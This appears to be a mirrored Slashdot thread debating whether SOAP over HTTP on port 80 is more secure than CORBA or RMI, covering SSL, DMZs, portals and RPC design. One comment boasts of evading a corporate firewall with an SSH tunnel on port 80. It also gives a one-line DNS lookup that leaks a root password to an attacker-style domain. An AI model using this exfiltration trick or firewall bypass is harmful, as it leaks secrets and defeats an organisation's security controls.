Slashdot Mirror
Web Services - More Secure or Less?
visibleman asks: "I have recently moved onto a project which is based around web services and SOAP and have, therefore, been doing some reading on those subjects. One thing which keeps coming up is that web services are claimed to be more secure than CORBA and RMI because it means drilling less holes through firewalls. If I was a firewall administrator (I am not, I am a developer) I would want to know that if I open up a port (port 80 for instance) I know what kind of requests are coming through it. Since SOAP is essentially a mechanism for sending functional requests over a port specified for web page requests this would make me nervous. My preference would be that requests for web pages go over one port and requests to run services go over another - favouring an IIOP solution. Am I off my trolley or would other Slashdotters have similar fears?"
Hi,
SOAP is transport independant. That's one of its (theoretical) virtues. You can implement SOAP over SMTP, HTTP, whatever.
Practically, it does seem fair to say that HTTP is what an awful lot of SOAP tools are going to be expecting, and given that SOAP is still quite bleeding edge, I wouldn't want to try using another transport protocol unless I could afford time and skill to do a lot of fixing up.
However, HTTP doesn't have to run on port 80. Furthermore, most SOAP implementations will be (well, claim to be) happy on HTTPS too, so that's an easy way to do encryption.
As for the 'web page vs functional' thing, well that's not so simple. A request for a page produced by a CGI script is a functional request coming from strangers over the web. SOAP need not be different.
At the moment, if I want to make an XML version of my content available to folks, I might tell them to use HTTP GET with a URL that invokes a CGI program that returns some XML.
In the future, I might want to make the same XML available via the getXML method my Website class, and then SOAP enable my Website class.
The differences isn't that great.
-----
We are currently using SOAP-like mechanisms, and there are a number of security precautions that can be implemented that in my opinion balance the threat of accepting such messages.
Possibly the most secure precaution is using SSL for the requests. You can require a client certificate to access the service and your site certificate will reassure your partners that they have connected to the correct server. In addition, you can build in custom username/password fields into the app, or have each message PGP signed.
Another option is to move your application to a different IP address and use the firewall to restrict access to it. This method is good if your partners are known ahead of time.
Hope this helps.
Portals are nice, from a security perspective. You can run all your applications behind a front-end webserver, only accessible via port 80. Some nice firewalls, like Checkpoint, have an HTTP security server which does bounds checking and similar to HTTP requests. Couple this with a good, reliable webserver (apache or netscape), and any applications running behind the portal are less susceptable to an overflow attack since the only machine that can access these applications is the webserver, which means an attacker would have to compromise the web server first.
Also by doing portals in this way, you can force users to authenticate an HTTPS session before accessing the portal site, and the services behind the portal. Of course, how you do authentication can be anything from login/pass to securid or X.509 certificates. Once the users authenticate themselves, then accessing the applications "through port 80" is more secure.
However, setting up multiple DMZs is the way to go. In my example above, where the webserver accesses the services behind the portal, you'd set up those applications in their own DMZ (seperate from the webserver DMZ). Access to this DMZ wouldn't be allowed directly from the outside (restricted by FW), which again would require a compromise of the web server. The other advantage is, if an attacker were to compromise the application *somehow* without a webserver compromise, then this would restrict them to only boxes in this second DMZ and therefore would not compromise the webserver ALSO. Setting up a DMZ correctly means a lot. You can set up a DMZ to accept incoming connections but not to allow anything outbound (except for state traffic). This would prevent an attacker, who has compromised services in the DMZ, from attacking anything else from that point into the rest of your network.
The document you reference has no explanation about why the function call model is evil, misleading, or broken. All you do is put forward a short argument that it more tightly couples endpoints than exchanging XML documents and that it is lower performance than dumping raw memory.
That is hardly reason for calling it evil.
To call it misleading you would need to provide an argument for why the function call paradigm makes sense when both program components are on the local machine but not when they are distributed. Why should that make a difference? Why should I care where the other end of my transaction be located?
It seems your arguments have more to do with current implementations than any morality inherent in the function call paradigm. I notice that your own alternative is written in C++, which uses the function call paradigm rather than the obviously more efficient, correct, and aesthetically pleasing message passing paradigm.
Check out DIME. Direct Internet Message Encapsulation. The successor to http, and will be the preferred protocol for Soap.
Soap makes me happy. If we all shut up, just shut up and be proper and diligent, we just *might* be able to put these platform wars behind us. Of course some amoung us will do everything short of homicide to fuck it up, because they have a vested interest in keeping us fighting each other, but maybe some people will get it.
After posting my last reply, I thought of something that is a GOOD thing regarding SOAP over HTTP that deserves mentioning. By directing and detecting all web traffic, you now have a transactional log off all RPC calls being made into your system. So while yes, you are possibly exposing things, you have a much better logging mechanism in a central location then you would have by having any given application tunneling thru its own socket, making calls to its hearts content. All calls cal now be logged, filter, redirected, etc..
Now of course, this does apply only to SOAP over HTTP, and possibly not SMTP/POP3, Raw socket, MSMQ, etc..etc..
-- I'm the root of all that's evil, but you can call me cookie..
I also complain a lot about latency, and I should complain about the lack of a shared address space, which leads to even more latency. That's the biggest issue. The function call model encourages you to ignore unavoidable latency in network messages. It's a fine model for things within the same process, but latency makes it misleading and evil for network messages.
Because, when it's located far away, you have several issues to contend with. First, a function call normally has a latency in the nanosecond range. A network message over the Internet normally has a latency in the millisecond range. Even LAN messages have a latency in the 100s of microsecond range. That's at least 4-5 orders of magnitude (base 10) difference. That's gigantically huge. Yet, it sits there in your program looking like an innocent function call that you'd normally expect to extract an overhead of a few nanseconds.
The other problem is that you don't have very much control over the state of the other program, especially if someone else wrote it. You're essentially introducing close state dependencies between programs that are largely unrelated, and several milliseconds apart. There is nothing _inherent_ about the function call model that forces you to introduce these dependencies, but everything that everybody knows about programming causes you to make certain assumptions about function calls that just aren't true for network messages, especially between largely unrelated programs.
RPC is evil because it hides those essential differences from you.
Need a Python, C++, Unix, Linux develop
Having done sys admin work, it's much easier and less work to go through port 80. That's one less port to keep track of and allows me to build expertise on securing HTTP. Learning to secure a lot of different ports isn't hard though time consuming. Teaching it to new staff and making sure they understand all of it isn't. That's one reason for the adoption of SOAP and other XML/HTTP protocols.
From a developer perspective, would you rather build in IPSec to your IIOP, CORBA application, or setup HTTPS and go through a well tested system? Rolling your own security on top of IIOP and CORBA isn't a trivial task. You could build your own encryption wrapper for IIOP or CORBA, but you would have to handle all the key storage, key management, encryp/decrypt, secure sessions, and authentication to create robust, reliable security.
If your application really needs greater than 128bit SSL, then going through a web server on port 80 doesn't do anything 4 U. To my knowledge RMI can make HTTP connections via java.rmi.server.RMISocketFactory. There are existing Java libs to handle both SSL and key management, so going with port 80 is really a administration choice.
Anybody who uses SOAP requests for doing small and frequent function calls over the net is foolish and deserves to suffer the consequences he will face for his foolishness.
:)
On the other hand, however, those who use SOAP calls correctly will reap the benefits SOAP has to offer.
An example:
I work for a mortgage company. We had an online rate search engine (till the market went sour anyway). One of our clients ran a few XML queries to our engine (they were located in California, we are in Chicago). Here are the two most important queries.
1. The Loan Search: they would ask a few questions, and then do a Loan Search with one XML query and cache the results.
2. Apply for a loan: they would acquire all information related to applying for a loan, and then send one XML query at the end containing all that information.
Had SOAP and WebServices been available at the time to use in place of custom built XML handling methods (not to even mention production ready XML libraries) our jobs would have been a lot easier.
Had we used SOAP to handle every request (including sending every individual piece of information seperately, or sending an XML document back and forth for every step of the loan application process) our application would have been a hideous failure. Instead, it worked just fine. The biggest problems were my XML parsing techniques were lackluster (this was the first work with XML I had done so it was a little slow) and the market just wasn't there for online mortgaging (to this day, only about half a percent of people who get mortgages actually buy their mortgages entirely online).
SOAP has it's uses, but like any good technology, people can abuse it. As always, time will seperate the good programmers from the bad programmers. Therefore, my conclusion is that SOAP is not inherently evil, rather a lot of crappy programmers are!
Bryan
I was contracting at company X a few years ago. I needed to use some piece of software for my project, and the demo site for said software ran on port 8081.
..."
Which was blocked by the company firewall.
So I go ask the admin why it's blocked. I mean, WTF, blocking random _incoming_ ports I can understand, but outgoing ports? When there's already port 80 and 21 wide open? Not to mention DNS[1].
"We don't open it because it's more secure that way", he said. "But it's not more secure!" "YES it is!" "Why?" ".... BECAUSE!"
"Ok but look I could just make an SSH tunnel on port 80 with pppd and I can bypass all that stuff
He replied: "well if you do that, you'll get in a LOT of trouble, and the company is going to sue you! And I warn you because I have logs of everything!"
Now what's really interesting is that I had been running this particular setup (pppd through ssh on port 80) for a couple months already, and nobody noticed.
[1] You think you've secured everything and that no info can get through your highly secure firewall? But have you thought about the DNS?
$ host the.root.password.is.iluvmom.crackersite.net
Bruce Schneier had an interesting statement on security and SOAP:
. html#SOAP">CryptoGram Newsletter on 2001-June-15:SOAP</a>
<a href="http://www.counterpane.com/crypto-gram-0006
The issue with SOAP is not one of security - what port you run on is neither here nor there - but the fact that most technologies based on XML are a load of old rubbish.
XML may be a "standard" but so are technologies such as Java serialisation and they work just fine over HTTP. This works automatically and leads to fewer programming errors due to "impedance mismatch", surely the chief source of any security holes and other bugs.
I don't buy the argument that an XML schema is any more future-proof than a Java class spec. Java handles class changes etc. quite elegantly. And I don't buy the "XML is language-independent" line either - it's just hard to read XML in any language. So you have to use that awful Xerces stuff that changes every 2 months, with little backward compatibility between versions.
Don't be fooled - there is simply nothing that uses XML that can't be done more elegantly some other way. XML is not a technology - it, along with SOAP, is a completely pointless standard.
A couple of rebuttals if I may.
Many people claim that one can run services on any port they choose, so port filtering is not the same thing as service filtering. True, but if people ran anything on any port we would have no concept of well-known-services at specific ports. Moving web traffic from port 80 makes almost no sense because that's where everyone is going to look for it by default. There is a high probability, then, that filtering on specific ports will filter specific services.
Network administrators, by default, are highly suspicious and paranoid people. They don't even trust the people they work with, and for good reason. If they could force everyone to use pine or mutt for e-mail reading, I'm sure they would since it is less succeptible to Outlook-born viruses. If development teams would communicate with and seek advice from the security team when developing applications I'm sure there wouldn't be as much hostility to opening a port as there is when approached with "We just wrote an application. Can we have a free port?"[1]. In the latter case, the security team has no idea what the application does or how it was developed and is certainly not inclined to open a port to untrusted software.
Finally, on to the subject of my article, Apache (or whatever server you're running) is the inetd of the future. Look at the facts:
- both listen on one or more ports for requests
- when a request comes in it is dispatched to the correct subsystem
- most security (ssl, https, tcpwrappers) is handled by the daemon before it gets to the service handler
- the service handler can perform further accouting or security checks
- the daemon handles all the networking details on behalf of the subsystem
Add to this the fact that this is all multiplexed on a single port, and configuring your firewall should be a breeze. Virtually anything you can do with inetd you can do with a good web server.Paradoxically, network admins appear less paranoid about their web servers than other inetd-based or standalone services. Some guy codes up a web app and, with little fuss, gets it deployed on the server. No code review, no hassle, no problem! There are only two reasons I can think of for this behavior: 1) The administrator inherently trusts the web server, or 2) the web server box is in a DMZ. I would be suspicious of administrators in the former case.
Despite the security advantages of a DMZ, it is still necessary for application developers to communicate with security people. Say, for example, that a web application is deployed on server in a DMZ and that the machine is later compromized. If the application had a configuration file with passwords for a database, the database should now be considered compromized. Damage can be reduced or prevented by correct configuration of the database (providing write access only to a specific table rather than the whole database), but you should check with the security people before actual deployment.[2]
[1] The standard answer to this question is "No". Note that the administrator only answers the question asked. If you want to be more successful in the future, present a full document detailing what the software does, how it works, and maybe provide the admin with a code review, THEN ask for a port. I know this is a lot of work, but it is necessary to maintain the security of the network. You may not take security seriously, but your administrator does.
[2] Yes, I know that there are moron security people out there. My comment assumes you have good to excellent security people working in your company.
As most of the forum here says, security doesn't start at the port level. It comes from that application itself. If you SOAP transport accepts data from whoever send it, that is bad (just restricting IP's is stupid as well as it is brainless to spoof that). I would suggest running an authentication method on all trafic coming and going.
This can be done in any number of ways. Signing all the XML data with a GPG key to verify ownership of the data or the cheesy secret key method. Read up on how SSH works and key based authentication will seem like a viable option
Hire me...